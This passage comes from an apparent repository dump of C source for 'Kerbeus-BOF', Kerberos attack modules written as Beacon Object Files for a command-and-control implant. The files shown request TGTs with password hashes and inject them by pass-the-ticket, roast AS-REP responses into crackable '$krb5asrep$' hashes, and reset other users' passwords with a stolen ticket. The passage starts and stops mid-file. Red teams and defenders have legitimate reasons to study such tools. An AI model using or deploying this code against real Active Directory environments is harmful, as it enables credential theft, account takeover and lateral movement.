rc4_hmac_exp;\n        as_req->req_body.etypes[4] = old_exp;\n        as_req->req_body.etypes[5] = des_cbc_md5;\n\n        as_req->req_body.addresses_count = 1;\n        as_req->req_body.addresses = MemAlloc(as_req->req_body.addresses_count * sizeof(HostAddress));\n        if (!as_req->req_body.addresses) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n        int netbiosSize = 16;\n        int numSpaces = (size < netbiosSize) ? (netbiosSize - size) : 0;\n        int i = 0;\n        for (; i < numSpaces; i++)\n            hostname[size + i] = ' ';\n        hostname[size + numSpaces] = 0;\n\n        as_req->req_body.addresses[0].addr_type = ADDRTYPE_NETBIOS;\n        as_req->req_body.addresses[0].addr_string = hostname;\n    }\n    else {\n        as_req->req_body.etypes_count = 1;\n        as_req->req_body.etypes = MemAlloc(sizeof(int) * as_req->req_body.etypes_count);\n        if (!as_req->req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        as_req->req_body.etypes[0] = encKey.key_type;\n    }\n\n    return FALSE;\n}\n\nBOOL CreateEncKey(char* domain, char* user, char* password, int currentEtype, int encType, EncryptionKey* encKey) {\n    if (currentEtype == 0) {\n        if (encType == rc4_hmac) {\n            encKey->key_type = rc4_hmac;\n            return get_key_rc4(password, &(encKey->key_value), &(encKey->key_size));\n        }\n        else if (encType == aes256_cts_hmac_sha1) {\n            encKey->key_type = aes256_cts_hmac_sha1;\n            return get_key_aes256(domain, user, password, &(encKey->key_value), &(encKey->key_size));\n        }\n        else {\n            encKey->key_type = rc4_hmac;\n            return get_key_rc4(password, &(encKey->key_value), &(encKey->key_size));\n        }\n    }\n    else {\n        encKey->key_type = encType;\n        encKey->key_size = my_strlen(password) / 2;\n        if (((encType == rc4_hmac) && (encKey->key_size == 16)) || ((encType == aes256_cts_hmac_sha1) && (encKey->key_size == 32))) {\n            encKey->key_value = MemAlloc(encKey->key_size);\n            for (int i = 0, j = 0; j < encKey->key_size; i += 2, j++)\n                encKey->key_value[j] = (password[i] % 32 + 9) % 25 * 16 + (password[i + 1] % 32 + 9) % 25;\n            return FALSE;\n        }\n    }\n    return TRUE;\n}\n\nBOOL NoPreAuthTGT(char* user, char* domain, EncryptionKey encKey, char* domainController, BOOL describe, BOOL verbose, BOOL ptt, BOOL* ret) {\n\n    AS_REQ NoPreAuthASREQ = { 0 };\n    if (NewAS_REQ(user, domain, encKey, TRUE, TRUE, TRUE, NULL, &NoPreAuthASREQ)) return TRUE;\n\n    AsnElt requestAsn = { 0 };\n    if (ReqToAsnEncode(NoPreAuthASREQ, 10, &requestAsn)) return TRUE;\n\n    int bRequestAsnSize = 0;\n    byte* bRequestAsn = 0;\n    if (AsnToBytesEncode(&requestAsn, &bRequestAsnSize, &bRequestAsn)) return TRUE;\n\n    byte* response = NULL;\n    int responseSize = 0;\n    sendBytes(domainController, \"88\", bRequestAsn, bRequestAsnSize, &response, &responseSize);\n\n    if (responseSize == 0) {\n        *ret = FALSE;\n        return TRUE;\n    }\n\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_AS_REP) {\n        if (verbose)\n            PRINT_OUT(\"[-] AS-REQ w/o preauth successful! %s has pre-authentication disabled!\\n\", user);\n\n        if (encKey.key_value != NULL) {\n            byte* kirbiBytes = NULL;\n            if (HandleASREP(responseAsn, encKey, NULL, FALSE, domainController, &kirbiBytes)) return TRUE;\n            *ret = TRUE;\n            if (ptt)\n                PTT(NULL, kirbiBytes);\n        }\n        else {\n            // No key provided - output AS-REP hash for offline cracking\n            AS_REP as_rep = { 0 };\n            if (NewAS_REP(responseAsn, &as_rep)) return TRUE;\n\n            // Format: $krb5asrep$etype$user@domain:cipher\n            char* etype_str = \"23\";\n            if (as_rep.enc_part.etype == aes256_cts_hmac_sha1)\n                etype_str = \"18\";\n            else if (as_rep.enc_part.etype == aes128_cts_hmac_sha1)\n                etype_str = \"17\";\n\n            // Convert cipher to hex\n            int hexLen = as_rep.enc_part.cipher_size * 2 + 1;\n            char* hexCipher = MemAlloc(hexLen);\n            my_tohex(as_rep.enc_part.cipher, as_rep.enc_part.cipher_size, hexCipher, hexLen);\n\n            // Extract first 32 hex chars as checksum (16 bytes)\n            char checksum[33] = { 0 };\n            for (int i = 0; i < 32 && i < hexLen - 1; i++)\n                checksum[i] = hexCipher[i];\n\n            // Rest is the encrypted data\n            char* encData = hexCipher + 32;\n\n            PRINT_OUT(\"\\n[*] AS-REP hash for offline cracking:\\n\\n\");\n            PRINT_OUT(\"$krb5asrep$%s$%s@%s:%s$%s\\n\\n\", etype_str, user, domain, checksum, encData);\n\n            *ret = TRUE;\n        }\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        if (error_code == 0x19) { // KDC_ERR_PREAUTH_REQUIRED\n            if (verbose)\n                PRINT_OUT(\"[!] Pre-Authentication required!\\n\");\n        }\n        else {\n            PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n        }\n        *ret = FALSE;\n    }\n    else {\n        *ret = TRUE;\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\nBOOL AskTGT_hash(char* user, char* domain, char* password, int currentEtype, int encType, BOOL opsec, BOOL pac, BOOL describe, BOOL ptt, char* dc, char* service, byte** kirbiBytes) {\n    EncryptionKey encKey = { 0 };\n    if (CreateEncKey(domain, user, password, currentEtype, encType, &encKey)) return TRUE;\n\n    BOOL preauth = FALSE;\n    if (opsec)\n        if (NoPreAuthTGT(user, domain, encKey, dc, describe, TRUE, ptt, &preauth)) return TRUE;\n\n    if (!preauth) {\n        PRINT_OUT(\"[*] Building AS-REQ (w/ preauth) for: '%s\\\\%s'\\n\", domain, user);\n\n        AS_REQ userHashASREQ = { 0 };\n        if (NewAS_REQ(user, domain, encKey, opsec, pac, FALSE, service, &userHashASREQ)) return TRUE;\n\n        AsnElt requestAsn = { 0 };\n        if (ReqToAsnEncode(userHashASREQ, 10, &requestAsn)) return TRUE;\n\n        int bRequestAsnSize = 0;\n        byte* bRequestAsn = 0;\n        if (AsnToBytesEncode(&requestAsn, &bRequestAsnSize, &bRequestAsn)) return TRUE;\n\n        byte* response = NULL;\n        int responseSize = 0;\n        sendBytes(dc, \"88\", bRequestAsn, bRequestAsnSize, &response, &responseSize);\n        if (responseSize == 0)\n            return TRUE;\n\n        AsnElt responseAsn = { 0 };\n        if (BytesToAsnDecode(response, responseSize, &responseAsn))return TRUE;\n\n        if (responseAsn.tagValue == KERB_AS_REP) {\n            if (HandleASREP(responseAsn, encKey, NULL, FALSE, dc, kirbiBytes)) return TRUE;\n            if (describe) {\n                PRINT_OUT(\"[+] TGT request successful!\\n\");\n                PRINT_OUT(\"[*] base64(ticket.kirbi): \\n\\n%s\\n\\n\", *kirbiBytes);\n            }\n            if (ptt)\n                PTT(NULL, *kirbiBytes);\n        }\n        else if (responseAsn.tagValue == KERB_ERROR) {\n            uint error_code = 0;\n            if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n            PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n//            PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n        }\n        else {\n            PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsn.tagValue);\n        }\n    }\n    return FALSE;\n}\n\nvoid ASK_TGT_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Ask TGT\\n\\n\");\n\n    char* user      = NULL;\n    char* domain    = NULL;\n    char* dc        = NULL;\n    char* password  = NULL;\n    char* s_enctype = NULL;\n    char* cert      = NULL;\n    char* hash      = NULL;\n    char* service   = NULL;\n    int   encType   = rc4_hmac;\n    int   curEType  = 0;\n    BOOL  ptt       = FALSE;\n    BOOL  opsec     = FALSE;\n    BOOL  pac       = FALSE;\n    BOOL  nopreauth = FALSE;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/user:\", 6, &user );\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain );\n        i += GetStrParam(Buffer + i, Length - i, \"/password:\", 10, &password );\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc );\n        i += GetStrParam(Buffer + i, Length - i, \"/enctype:\", 9, &s_enctype );\n        i += GetStrParam(Buffer + i, Length - i, \"/service:\", 9, &service );\n        i += IsSetParam(Buffer + i, Length - i, \"/ptt\", 4, &ptt );\n        i += IsSetParam(Buffer + i, Length - i, \"/opsec\", 6, &opsec );\n        i += IsSetParam(Buffer + i, Length - i, \"/nopac\", 6, &pac );\n        i += IsSetParam(Buffer + i, Length - i, \"/nopreauth\", 10, &nopreauth );\n        int h1 = GetStrParam(Buffer + i, Length - i, \"/rc4:\", 5, &hash );\n        if(h1){\n            encType = rc4_hmac;\n            curEType = encType;\n        }\n        int h2 = GetStrParam(Buffer + i, Length - i, \"/aes256:\", 8, &hash );\n        if(h2){\n            encType = aes256_cts_hmac_sha1;\n            curEType = encType;\n        }\n    }\n    pac = !pac;\n\n    // /enctype overrides default encType (for password-based auth)\n    if( s_enctype ) {\n        if (my_strcmp(s_enctype, \"rc4\") == 0)\n            encType = rc4_hmac;\n        else if (my_strcmp(s_enctype, \"aes256\") == 0)\n            encType = aes256_cts_hmac_sha1;\n    }\n\n    GetDomainInfo(&domain, &dc);\n    if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (user == NULL) {\n        PRINT_OUT(\"[X] You must supply a user name!\\n\\n\");\n        return;\n    }\n\n    if (((hash || password) == NULL) && (cert == NULL) && !nopreauth) {\n        PRINT_OUT(\"[X] You must supply a /password, /certificate or a [ /rc4 | /aes256 ] hash!\\n\\n\");\n        return;\n    }\n\n    if (!password && hash)\n        password = hash;\n\n    if (!(encType == rc4_hmac || encType == aes256_cts_hmac_sha1) && !nopreauth) {\n        PRINT_OUT(\"[X] Only /rc4 and /aes256 are supported.\\n\\n\");\n        return;\n    }\n    else {\n        if (opsec && encType != aes256_cts_hmac_sha1) {\n            PRINT_OUT(\"[X] Using /opsec but not using /enctype:aes256\\n\");\n            return;\n        }\n\n        byte* ticket = NULL;\n        if (nopreauth) {\n            EncryptionKey encKey = { 0 };\n            encKey.key_type = encType;\n            BOOL ret = FALSE;\n            if (NoPreAuthTGT(user, domain, encKey, dc, TRUE, TRUE, ptt, &ret)) return;\n        }\n        else if (cert) {\n            //PRINT_OUT(\"Ask.TGT(user, domain, certificate);\\n\");\n        }\n        else {\n            AskTGT_hash(user, domain, password, curEType, encType, opsec, pac, TRUE, ptt, dc, service, &ticket);\n        }\n    }\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        ASK_TGT_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/asreproasting/asreproasting.c",
    "content": "#include \"_include/functions.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/asn_encode.c\"\n#include \"_include/connection.c\"\n\nBOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep) {\n    // AS-REP::= [APPLICATION 11] KDC-REQ\n    if ((asn_AS_REP.subCount != 1) || (asn_AS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First AS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    AsnElt* kdc_rep = asn_AS_REP.sub[0].sub;\n\n    for (int i = 0; i < asn_AS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->msg_type)))return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            as_rep->pa_data_count = kdc_rep[i].subCount;\n            as_rep->pa_data = MemAlloc(as_rep->pa_data_count);\n            for (int j = 0; j < as_rep->pa_data_count; j++) {\n                PA_DATA padata = { 0 };\n                if (AsnGetPaData(&(kdc_rep[i].sub[j].sub[0]), &padata)) return TRUE;\n                as_rep->pa_data[j] = padata;\n            }\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(as_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(as_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (kdc_rep[i].sub[0].subCount)\n                if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(as_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(as_rep->enc_part))) return TRUE;\n        }\n    }\n    kdc_rep = NULL;\n    return FALSE;\n}\n\nBOOL NewAS_REQ_ROAST(char* pcUsername, char* pcDomain, int etype, AS_REQ* as_req) {\n    as_req->pvno = 5;\n    as_req->msg_type = KERB_AS_REQ;\n\n    as_req->req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    as_req->req_body.till = 1 * 3600;    // valid for 1h\n    ADVAPI32$SystemFunction036(&(as_req->req_body.nonce), 4);\n\n    if (my_copybuf(&as_req->req_body.realm, pcDomain, my_strlen(pcDomain) + 1)) return TRUE;\n\n    as_req->req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    as_req->req_body.cname.name_count = 1;\n    as_req->req_body.cname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count);\n    if (!as_req->req_body.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(as_req->req_body.cname.name_string[0]), pcUsername, my_strlen(pcUsername) + 1)) return TRUE;\n\n    as_req->req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n    as_req->req_body.sname.name_count = 2;\n    as_req->req_body.sname.name_string = MemAlloc(sizeof(void*) * as_req->req_body.cname.name_count);\n    if (my_copybuf(&(as_req->req_body.sname.name_string[0]), \"krbtgt\", 7)) return TRUE;\n    if (my_copybuf(&(as_req->req_body.sname.name_string[1]), pcDomain, my_strlen(pcDomain) + 1)) return TRUE;\n\n    as_req->pa_data_count = 1;\n    as_req->pa_data = MemAlloc(sizeof(PA_DATA) * as_req->pa_data_count);\n    if (!as_req->pa_data) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return true;\n    }\n\n    as_req->pa_data[0].type = PADATA_PA_PAC_REQUEST;\n    as_req->pa_data[0].value = MemAlloc(sizeof(KERB_PA_PAC_REQUEST));\n    if (!as_req->pa_data[0].value) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return true;\n    }\n    ((KERB_PA_PAC_REQUEST*)as_req->pa_data[0].value)->include_pac = 1;\n\n    as_req->req_body.etypes_count = 1;\n    as_req->req_body.etypes = MemAlloc(sizeof(int) * as_req->req_body.etypes_count);\n    as_req->req_body.etypes[0] = etype;\n\n    return FALSE;\n}\n\nvoid GetASRepHash(char* userName, char* domain, char* domainController, BOOL aesEType) {\n    PRINT_OUT(\"[*] Building AS-REQ (w/o preauth) for: '%s\\\\%s'\\n\\n\", domain, userName);\n\n    AsnElt responseAsnMain = { 0 };\n    int requestedEType;\n\n    if (aesEType) {\n        PRINT_OUT(\"[*] Requesting AES128 as the encryption type\\n\");\n\n        AS_REQ AuthASREQ = { 0 };\n        if (NewAS_REQ_ROAST(userName, domain, aes128_cts_hmac_sha1, &AuthASREQ)) return;\n\n        AsnElt requestAsn = { 0 };\n        if (ReqToAsnEncode(AuthASREQ, 10, &requestAsn)) return;\n\n        int reqBytesSize = 0;\n        byte* reqBytes = 0;\n        if (AsnToBytesEncode(&requestAsn, &reqBytesSize, &reqBytes)) return;\n\n        byte* response = NULL;\n        int responseSize = 0;\n        sendBytes(domainController, \"88\", reqBytes, reqBytesSize, &response, &responseSize);\n        if (responseSize == 0)\n            return;\n\n        requestedEType = aes128_cts_hmac_sha1;\n\n        AsnElt responseAsn = { 0 };\n        if (BytesToAsnDecode3(response, responseSize, FALSE, &responseAsn)) return;\n\n        if (responseAsn.tagValue == KERB_ERROR) {\n            uint error_code = 0;\n            if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return;\n\n            if (error_code == 14) {\n                PRINT_OUT(\"[*] AES128 is not supported, attempting AES256 next\\n\");\n\n                AS_REQ AuthASREQ2 = { 0 };\n                if (NewAS_REQ_ROAST(userName, domain, aes256_cts_hmac_sha1, &AuthASREQ2)) return;\n\n                AsnElt requestAsn2 = { 0 };\n                if (ReqToAsnEncode(AuthASREQ2, 10, &requestAsn2)) return ;\n\n                int reqBytesSize2 = 0;\n                byte* reqBytes2 = 0;\n                if (AsnToBytesEncode(&requestAsn2, &reqBytesSize2, &reqBytes2)) return;\n\n                byte* response2 = NULL;\n                int responseSize2 = 0;\n                sendBytes(domainController, \"88\", reqBytes2, reqBytesSize2, &response2, &responseSize2);\n                if (responseSize2 == 0)\n                    return;\n\n                requestedEType = aes256_cts_hmac_sha1;\n\n                if (BytesToAsnDecode3(response2, responseSize2, FALSE, &responseAsnMain)) return;\n            }\n        }\n        else {\n            responseAsnMain = responseAsn;\n        }\n    }\n    else {\n        AS_REQ AuthASREQ = { 0 };\n        if (NewAS_REQ_ROAST(userName, domain, rc4_hmac, &AuthASREQ)) return;\n\n        AsnElt requestAsn = { 0 };\n        if (ReqToAsnEncode(AuthASREQ, 10, &requestAsn)) return;\n\n        int reqBytesSize = 0;\n        byte* reqBytes = 0;\n        if (AsnToBytesEncode(&requestAsn, &reqBytesSize, &reqBytes)) return;\n\n        byte* response = NULL;\n        int responseSize = 0;\n        sendBytes(domainController, \"88\", reqBytes, reqBytesSize, &response, &responseSize);\n        if (responseSize == 0)\n            return;\n\n        requestedEType = rc4_hmac;\n\n        if (BytesToAsnDecode3(response, responseSize, FALSE, &responseAsnMain)) return;\n    }\n\n    if (responseAsnMain.tagValue == KERB_AS_REP) {\n        PRINT_OUT(\"[+] AS-REQ w/o preauth successful!\\n\");\n\n        AS_REP rep = { 0 };\n        if (NewAS_REP(responseAsnMain, &rep)) return;\n        int usernameLength = my_strlen(userName);\n        int domainLength = my_strlen(domain);\n        int hashStringLength = 18 + usernameLength + domainLength + rep.enc_part.cipher_size * 2;\n        char* hashString = MemAlloc(hashStringLength);\n\n        if (requestedEType == aes128_cts_hmac_sha1 || requestedEType == aes256_cts_hmac_sha1) {\n            MemCpy(hashString, \"$krb5asrep$17$\", 14);\n            MemCpy(hashString + 14, userName, usernameLength);\n            hashString[14 + usernameLength] = '$';\n            MemCpy(hashString + 15 + usernameLength, domain, domainLength);\n            hashString[15 + usernameLength + domainLength] = '$';\n            char* c1 = hashString + 16 + usernameLength + domainLength;\n            my_tohex(rep.enc_part.cipher + rep.enc_part.cipher_size - 12, 12, &c1, 25);\n            hashString[16 + usernameLength + domainLength + 24] = '$';\n            char* c2 = hashString + 17 + usernameLength + domainLength + 24;\n            my_tohex(rep.enc_part.cipher, rep.enc_part.cipher_size - 12, &c2, (rep.enc_part.cipher_size - 12) * 2 + 1);\n\n            if (requestedEType == aes256_cts_hmac_sha1)\n                hashString[12] = '8';\n        }\n        else {\n            MemCpy(hashString, \"$krb5asrep$23$\", 14);\n            MemCpy(hashString + 14, userName, usernameLength);\n            hashString[14 + usernameLength] = '@';\n            MemCpy(hashString + 15 + usernameLength, domain, domainLength);\n            hashString[15 + usernameLength + domainLength] = ':';\n            char* c1 = hashString + 16 + usernameLength + domainLength;\n            my_tohex(rep.enc_part.cipher, 16, &c1, 33);\n            hashString[16 + usernameLength + domainLength + 32] = '$';\n            char* c2 = hashString + 17 + usernameLength + domainLength + 32;\n            my_tohex(rep.enc_part.cipher + 16, rep.enc_part.cipher_size - 16, &c2, (rep.enc_part.cipher_size - 16) * 2 + 1);\n        }\n        PRINT_OUT(\"[*] AS-REP hash:\\n      %s\\n\", hashString);\n    }\n    else if (responseAsnMain.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsnMain.sub[0]), &error_code)) return;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n//        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", responseAsnMain.tagValue);\n    }\n}\n\nvoid ASREPROAST_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: AS-REP roasting\\n\");\n\n    char* dc     = NULL;\n    char* user   = NULL;\n    char* domain = NULL;\n    BOOL  aes    = FALSE;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc);\n        i += GetStrParam(Buffer + i, Length - i, \"/user:\", 6, &user);\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain);\n        i += IsSetParam(Buffer + i, Length - i, \"/aes\", 4, &aes );\n    }\n\n    GetDomainInfo(&domain, &dc);\n    if (domain == NULL || dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (user == NULL) {\n        PRINT_OUT(\"[X] You must supply a user name!\\n\\n\");\n        return;\n    }\n\n    PRINT_OUT(\"[*] Target User            : %s\\n\", user);\n    PRINT_OUT(\"[*] Target Domain          : %s\\n\", domain);\n    PRINT_OUT(\"[*] Target DC              : %s\\n\", dc);\n\n    GetASRepHash(user, domain, dc, aes);\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        ASREPROAST_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/changepw/changepw.c",
    "content": "#include \"_include/asn_decode.c\"\n#include \"_include/asn_encode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\nvoid ResetUserPassword(byte* ticket, char* newPassword, char* dc, char* targetUser, char* targetDomain) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, FALSE, &asn_KRB_CRED)) return;\n\n    AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi);\n\n    // extract the user and domain from the existing .kirbi ticket\n    char* userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];\n    char* userDomain = kirbi.enc_part.ticket_info[0].prealm;\n\n    if (targetUser && targetDomain)\n        PRINT_OUT(\"[*] Resetting password for target user: %s@%s\\n\", targetUser, targetDomain);\n    else\n        PRINT_OUT(\"[*] Changing password for user: %s@%s\\n\", userName, userDomain);\n    PRINT_OUT(\"[*] New password value: %s\\n\", newPassword);\n    PRINT_OUT(\"[*] Building AP-REQ for the MS Kpassword request\\n\");\n\n    AP_REQ ap_req = { 0 };\n\n    ap_req.pvno = 5;\n    ap_req.msg_type = KERB_AP_REQ;\n    ap_req.ticket = kirbi.tickets[0];\n    ap_req.keyUsage = KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR;\n    ap_req.key = kirbi.enc_part.ticket_info[0].key;\n\n    if (my_copybuf(&(ap_req.authenticator.crealm), userDomain, my_strlen(userDomain) + 1)) return;\n\n    ap_req.authenticator.cname.name_count = 1;\n    ap_req.authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req.authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req.authenticator.cname.name_count);\n    if (!ap_req.authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return;\n    }\n    if (my_copybuf(&(ap_req.authenticator.cname.name_string[0]), userName, my_strlen(userName) + 1)) return;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    ap_req.authenticator.authenticator_vno = 5;\n    ap_req.authenticator.ctime = dt;\n\n    // generate a random session subkey\n    ap_req.authenticator.subkey.key_type = kirbi.enc_part.ticket_info[0].key.key_type;\n    if (ap_req.authenticator.subkey.key_type == rc4_hmac) {\n        ap_req.authenticator.subkey.key_size = 16;\n    }\n    else if (ap_req.authenticator.subkey.key_type == aes256_cts_hmac_sha1) {\n        ap_req.authenticator.subkey.key_size = 32;\n    }\n    else {\n        PRINT_OUT(\"[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!\\n\");\n        return;\n    }\n    ap_req.authenticator.subkey.key_value = MemAlloc(ap_req.authenticator.subkey.key_size);\n    ADVAPI32$SystemFunction036(ap_req.authenticator.subkey.key_value, ap_req.authenticator.subkey.key_size);\n\n    char* b64key = base64_encode(ap_req.authenticator.subkey.key_value, ap_req.authenticator.subkey.key_size);\n    PRINT_OUT(\"[*] base64(session subkey): %s\\n\", b64key);\n\n    // Session key used for the KRB-PRIV structure\n    ADVAPI32$SystemFunction036(&(ap_req.authenticator.seq_number), 4);\n\n    PRINT_OUT(\"[*] Building the KRV-PRIV structure\\n\");\n    KRB_PRIV changePriv = { 0 };\n    changePriv.pvno = 5;\n    changePriv.msg_type = 21;\n    changePriv.ekey = ap_req.authenticator.subkey;\n\n    // the new password to set for the user\n    if (targetUser && targetDomain) {\n        StrToUpper(targetDomain);\n        if (my_copybuf(&(changePriv.enc_part.username), targetUser, my_strlen(targetUser) + 1)) return ;\n        if (my_copybuf(&(changePriv.enc_part.realm), targetDomain, my_strlen(targetDomain) + 1)) return ;\n    }\n    if (my_copybuf(&(changePriv.enc_part.new_password), newPassword, my_strlen(newPassword) + 1)) return ;\n    if (my_copybuf(&(changePriv.enc_part.host_name), \"lol\", 4)) return ;\n\n    // now build the final MS Kpasswd request\n    AsnElt apreqAsn = { 0 };\n    if (AsnApReqEncode(&ap_req, &apreqAsn))return ;\n    byte* apReqBytes = NULL;\n    int apReqBytesSize = 0;\n    if (AsnToBytesEncode(&apreqAsn, &apReqBytesSize, &apReqBytes))return ;\n\n    AsnElt changePrivAsn = { 0 };\n    if (AsnKrbPrivEncode(&changePriv, &changePrivAsn)) return ;\n    byte* changePrivBytes = NULL;\n    int changePrivBytesSize = 0;\n    if (AsnToBytesEncode(&changePrivAsn, &changePrivBytesSize, &changePrivBytes));\n\n    short messageLength = (short)(apReqBytesSize + changePrivBytesSize + 6);\n    short version = -128;\n\n    byte* sendArray = MemAlloc(messageLength);\n    sendArray[0] = ((byte*)(&messageLength))[1];\n    sendArray[1] = ((byte*)(&messageLength))[0];\n    sendArray[2] = ((byte*)(&version))[1];\n    sendArray[3] = ((byte*)(&version))[0];\n    sendArray[4] = ((byte*)(&apReqBytesSize))[1];\n    sendArray[5] = ((byte*)(&apReqBytesSize))[0];\n    MemCpy(sendArray + 6, apReqBytes, apReqBytesSize);\n    MemCpy(sendArray + 6 + apReqBytesSize, changePrivBytes, changePrivBytesSize);\n\n    // KPASSWD_DEFAULT_PORT = 464\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(dc, \"464\", sendArray, messageLength, &response, &responseSize);\n    if (responseSize < 2)\n        return ;\n\n    short respMsgLen = 0;\n    short respAPReqLen = 0;\n    short respKRBPrivLen = 0;\n    ((byte*)(&respMsgLen))[1] = response[0];\n    ((byte*)(&respMsgLen))[0] = response[1];\n    if (respMsgLen == (short)responseSize && respMsgLen > 6) {\n        ((byte*)(&respAPReqLen))[1] = response[4];\n        ((byte*)(&respAPReqLen))[0] = response[5];\n        if (respMsgLen > 6 + respAPReqLen) {\n            respKRBPrivLen = respMsgLen - 6 - respAPReqLen;\n\n            // decode the KRB-PRIV response\n            AsnElt respKRBPrivAsn = { 0 };\n            if (BytesToAsnDecode3(response + 6 + respAPReqLen, respKRBPrivLen, FALSE, &respKRBPrivAsn)) return ;\n\n            for (int i = 0; i < respKRBPrivAsn.sub[0].subCount;i++) {\n                AsnElt elem = respKRBPrivAsn.sub[0].sub[i];\n\n                if (elem.tagValue == 3) {\n\n                    byte* encBytes = NULL;\n                    int encBytesSize = 0;\n                    if (AsnGetOctetString(&(elem.sub[0].sub[1]), &encBytes, &encBytesSize)) break;\n                    byte* decBytes = NULL;\n                    int decBytesSize = 0;\n                    if (decrypt(ap_req.authenticator.subkey.key_value, ap_req.authenticator.subkey.key_type, KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, encBytes, encBytesSize, &decBytes, &decBytesSize)) break;\n                    AsnElt decBytesAsn = { 0 